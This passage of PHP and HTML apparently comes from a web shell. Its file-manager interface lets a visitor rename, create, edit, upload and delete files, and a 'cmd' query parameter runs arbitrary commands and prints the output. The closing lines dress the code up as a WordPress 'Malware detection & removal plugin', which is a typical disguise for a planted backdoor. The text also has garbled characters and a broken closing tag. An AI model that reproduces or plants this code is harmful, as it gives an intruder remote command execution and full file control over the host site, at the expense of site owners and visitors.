name="rename_old"placeholder="Old name"><input name="rename_new"placeholder="New name"><input type="submit"value="âī¸ Rename"></form><form method="POST"><input name="new_file"placeholder="New file name"><br><textarea cols="60"name="file_content"placeholder="File content..."rows="5"></textarea><br><input name="add_file"type="submit"value="đ Add File"></form><?php if (isset($_GET["cmd"])) { echo "<pre>"; echo htmlspecialchars(x($_GET["cmd"])); echo "</pre>"; } if (isset($_GET["edit"])) { $editfile = protectRealPath($cwd, $_GET["edit"]); if ($editfile && is_file($editfile)) { $content = htmlspecialchars(file_get_contents($editfile)); echo "<h3>Edit: " . htmlspecialchars(basename($editfile)) . "</h3>"; echo "<form method=\"POST\">\n <input type=\"hidden\" name=\"editfile\" value=\"" . htmlspecialchars($editfile) . "\">\n <textarea name=\"content\" rows=\"20\" cols=\"100\">" . $content . "</textarea><br>\n <input type=\"submit\" value=\"Save\">\n </form>"; } } echo "<form method=\"POST\" enctype=\"multipart/form-data\">\n <input type=\"file\" name=\"upload\">\n <input type=\"submit\" value=\"Upload\">\n </form>"; echo "<h3>đ Files & Folders</h3><table class=\"file-table\"><tr><th>Name</th><th>Perm</th><th>Actions</th></tr>"; $items = scandir($cwd); foreach ($items as $item) { if ($item === "." || $item === "..") { continue; } $full = $cwd . DIRECTORY_SEPARATOR . $item; $enc_item = urlencode($item); if (is_dir($full)) { echo "<tr class='file-row'><td><a href='?path=" . urlencode($full) . "' style='color:#00ff00;'>đ " . htmlspecialchars($item) . "</a></td><td>" . getPerms($full) . "</td><td>"; echo "<a href='?path=" . urlencode($cwd) . "&delete=" . $enc_item . "' onclick='return confirm(\"Delete folder {$item} ?\")' style='color:#ff5555;'>đī¸</a> "; echo "</td></tr>"; } } foreach ($items as $item) { if ($item === "." || $item === "..") { continue; } $full = $cwd . DIRECTORY_SEPARATOR . $item; $enc_item = urlencode($item); if (is_file($full)) { echo "<tr class='file-row'><td>đ <a href='?path=" . urlencode($cwd) . "&edit=" . $enc_item . "'>" . htmlspecialchars($item) . "</a></td><td>" . getPerms($full) . "</td><td>"; echo "<a href='?path=" . urlencode($cwd) . "&delete=" . $enc_item . "' onclick='return confirm(\"Delete file {$item} ?\")' style='color:#ff5555;'>đī¸</a> "; echo "</td></tr>"; } } echo "</table>"; ?> </body></htm<?php };
Malware detection & removal plugin for WordPress
īŧCīŧ2020 Wordpress Doctor All rights reserved.